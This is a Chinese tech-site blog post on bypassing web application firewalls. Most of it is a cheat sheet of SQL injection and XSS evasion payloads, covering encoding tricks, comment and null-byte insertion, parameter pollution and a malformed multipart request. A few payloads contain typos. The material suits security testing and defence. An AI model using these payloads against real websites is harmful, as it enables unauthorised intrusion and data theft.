|
|
51CTO旗下网站
|
|
移动端

浅谈WAF绕过

因工作原因研究了几天WAF绕过,简单分享下WAF绕过思路。 对一些攻击特征串进行不同的编码,如:URL编码,ASCII,Unicode.使用一些非标准的编码很容易就造成WAF BYPASS.

作者:残风来源:博客|2012-12-24 13:50

因工作原因研究了几天WAF绕过,简单分享下WAF绕过思路。

对一些攻击特征串进行不同的编码,如:URL编码,ASCII,Unicode.使用一些非标准的编码很容易就造成WAF BYPASS.

一些字符非标准的unicode码:

用NULL对数据截断,经测试发现,灵活使用NULL字节可以有效避开配置为阻止包含已知攻击字符串的请求的WAF。

有时,把使用GET方法的攻击转换成使用POST方法的攻击可能会避开某些过滤。许多应用程序在整个应用程序中执行某正常规过滤,阻止已知的攻击字符串。如果一个应用程序希望收到使用GET方法的请求,它能之对URL查询字符串执行这种过滤。将请求转换为使用POST就可以完全避开这种过滤。

看一个在没有正确解析HTTP Request数据包导致的WAF绕过,触发一个XSS:

POST /demo.php HTTP/1.0

Content-Type: multipart/form-data; boundary=0000

Content-Length: 97

–0000–

Content-Disposition: form-data; name=x’;filename=”‘;name=payload;”

<script>alert(1)</script>

–0000–

正常的HTTP应该是如下:

POST /demo.php HTTP/1.0

Content-Type: multipart/form-data; boundary=0000

Content-Length: 97

–0000–

Content-Disposition: form-data; name=”upfile”; filename=”payload”

<script>alert(1)</script>

–0000–

对比上面俩个HTTP头,给我们提供了WAF绕过的思路,修改攻击特征串或HTTP中的一细节,让WAF无法解析或者解析错误导致绕过。(许多WAF对无法解析的HTTP头,默认直接BYPASS)

罗列了一小部分的基本的绕过技巧(许多技巧因与工作相关无法分享,望见谅~^_^)。

这些技巧不一定能成功绕过WAF,但在许多场合下,通过一些基本技巧组合的使用,能提高绕过WAF的成功率,甚至完全BYPASS。

Sql Injection Bypass

大小写变种:

UnIon/**/sElEcT/**/1,2,3/**/fRoM/**/Users–

使用注释:

如上。在MySql中使用类似如下攻击依然有效:

‘/**/UN/**/ION/**/SEL/**/ECT/**/1,2,3/**/FROM/table–

内联内容(MySql Only):

/*!UnIoN*/SeLecT+1,2,3–

/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()–

嵌套表达式:

UNunionION+SEselectLECT+1,2,3–

编码:

2次URL编码:

%252f%252a*/union%252f%252a*/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users–

ASCII:

“SELECT” ASCII Encode in databases.

MySql: char(83,69,76,69,67,84)

Oracle: chr(83)||chr(69)||chr(76)||chr(69)||chr(67)||chr(84)

Ms-Sql: char(chr(83)+chr(69)+chr(76)+chr(69)+chr(67)+chr(84))

使用空字节:

%00′ union+select+1,2,3–

uni%0bon+se%0blect+1,2,3–

参数污染(ASP/ASP.NET):

id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

XSS Bypass:

脚本标签:

<object data=”data:text/html,<script>alert(1)</script>”>

<object data=”data:text/html;base64,Jmx0O3NjcmlwdCZndDthbGVydCgxKSZsdDsvc2NyaXB0Jmd0Ow==”>

<a href=”data:text/html;base64,Jmx0O3NjcmlwdCZndDthbGVydCgxKSZsdDsvc2NyaXB0Jmd0Ow==”>xss</a>

脚本伪协议:

<object data=javascript:alert(1)>

<iframe src=javascritpt:alert(1)>

<embed src=javascript:alert(1)>

标签名称:

<iMg onerror=alert(1) scr=a>

<[%00]img onerror=alert(1) scr=a>

<i[%00]mg onerror=alert(1) scr=a>

对标签名陈稍做修改,可以避开仅仅阻止特定标签名陈的过滤:

<x onclick=alert(1) src=a>xss</x>

【编辑推荐】

  1. Web应用危机不断 催生国内WAF市场
  2. 高级攻击者开始瞄准WAF 你的WAF安全吗?
  3. Web应用防火墙(WAF)并不能完全抵御攻击
【责任编辑:蓝雨泪 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢

订阅专栏+更多

活学活用 Ubuntu Server

活学活用 Ubuntu Server

实战直通车
共35章 | UbuntuServer

230人订阅学习

Java EE速成指南

Java EE速成指南

掌握Java核心
共30章 | 51CTO王波

87人订阅学习

Mysql DBA修炼之路

Mysql DBA修炼之路

MySQL入门到高阶
共24章 | 51CTO叶老师

483人订阅学习

读 书 +更多

XML基础教程

本书分为8章。第1章主要对XML做了简单的介绍。第2章详细讲解规范的XML文件。第3章主要讲解有效的XML文件,特别重点讲解DTD文件。第4章讲解C...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊

51CTO服务号

51CTO播客